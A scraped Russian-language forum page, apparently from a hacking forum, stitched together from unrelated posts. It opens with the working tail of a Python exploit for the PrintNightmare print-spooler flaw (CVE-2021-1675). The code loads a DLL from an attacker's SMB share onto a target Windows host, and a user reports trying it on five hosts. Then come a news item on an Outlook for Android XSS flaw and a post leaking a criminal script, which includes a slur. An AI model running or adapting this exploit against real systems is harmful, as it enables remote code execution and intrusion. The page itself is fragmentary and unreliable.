#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
print("[+] pDriverPath Found {0}".format(pDriverPath))
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
print("[*] Executing {0}".format(share))
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
print("[*] Try 2...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
print("[*] Try 3...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
инфа и рос https://github.com/afwu/PrintNightmare
еще один рос https://github.com/cube0x0/CVE-2021-1675
сам тестил пока что на 5 хостах, появляется ошибка 0x5 - rpc_s_access_denied. как я понял у юзера не хватает прав.
В Outlook для Android обнаружена уязвимость
Уязвимость получила идентификатор CVE-2019-1105 и затрагивала Outlook для Android до версии 3.0.88. Проблема представляла собой так называемую stored XSS, то есть «хранимую» или «постоянную» XSS-уязвимость, и была связана с тем, как приложение парсит входящие письма.
Эксплуатируя данный баг, удаленный атакующий получал возможность осуществить спуфинг-атаку и выполнить вредоносный код на стороне клиента, в контексте текущего пользователя, попросту отправив своей жертве специально подготовленное электронное письмо.
Согласно официальному заявлению Microsoft, о данной уязвимости сообщили сразу несколько ИБ-специалистов, но пока технические детали проблемы или proof-of- concept эксплоиты еще не были опубликованы. Специалисты Microsoft уверяют, что уязвимость не использовалась злоумышленниками для атак.
[ https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-1105 ](https://portal.msrc.microsoft.com/en- US/security-guidance/advisory/CVE-2019-1105)
![securityaffairs.co](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fsecurityaffairs.com%2Fwp- content%2Fuploads%2F2019%2F06%2Foutlook-for- android.jpeg%3Ffit%3D580%252C514%26ssl%3D1&hash=eb6defbe016b1f84899b4c7b1f43a347&return_error=1)
](https://securityaffairs.co/wordpress/87398/hacking/outlook-android- flaw.html)
Microsoft has addressed an important vulnerability (CVE-2019-1105) in Outlook for Android, potentially affected over 100 million users.
![securityaffairs.co](/proxy.php?image=https%3A%2F%2Fsecurityaffairs.com%2Fwp- content%2Fthemes%2Fsecurity_affairs%2Fimages%2Ffavicon.ico&hash=e887e732871b3fc7e077dd4eb1066006&return_error=1) securityaffairs.co
У кого-то есть подробности?
Всем здрасте)) Вот сливаю вам соник, потому что эдакий чел /threads/62726/ из этого треда мб слил кому-то, а тот, в свою очередь слил уже на другой форум)) Прошу прощения всех, трудящихся!
Внутри архива недавно слитый вазавакой aka boriselcin (пидор) скрипт соника под терм и соник под панель.
DropMeFiles:
You must have at least 150 reaction(s) to view the content.
З.Ы Сливаю потому что мой соник слили на другом форуме..
Spoiler: 10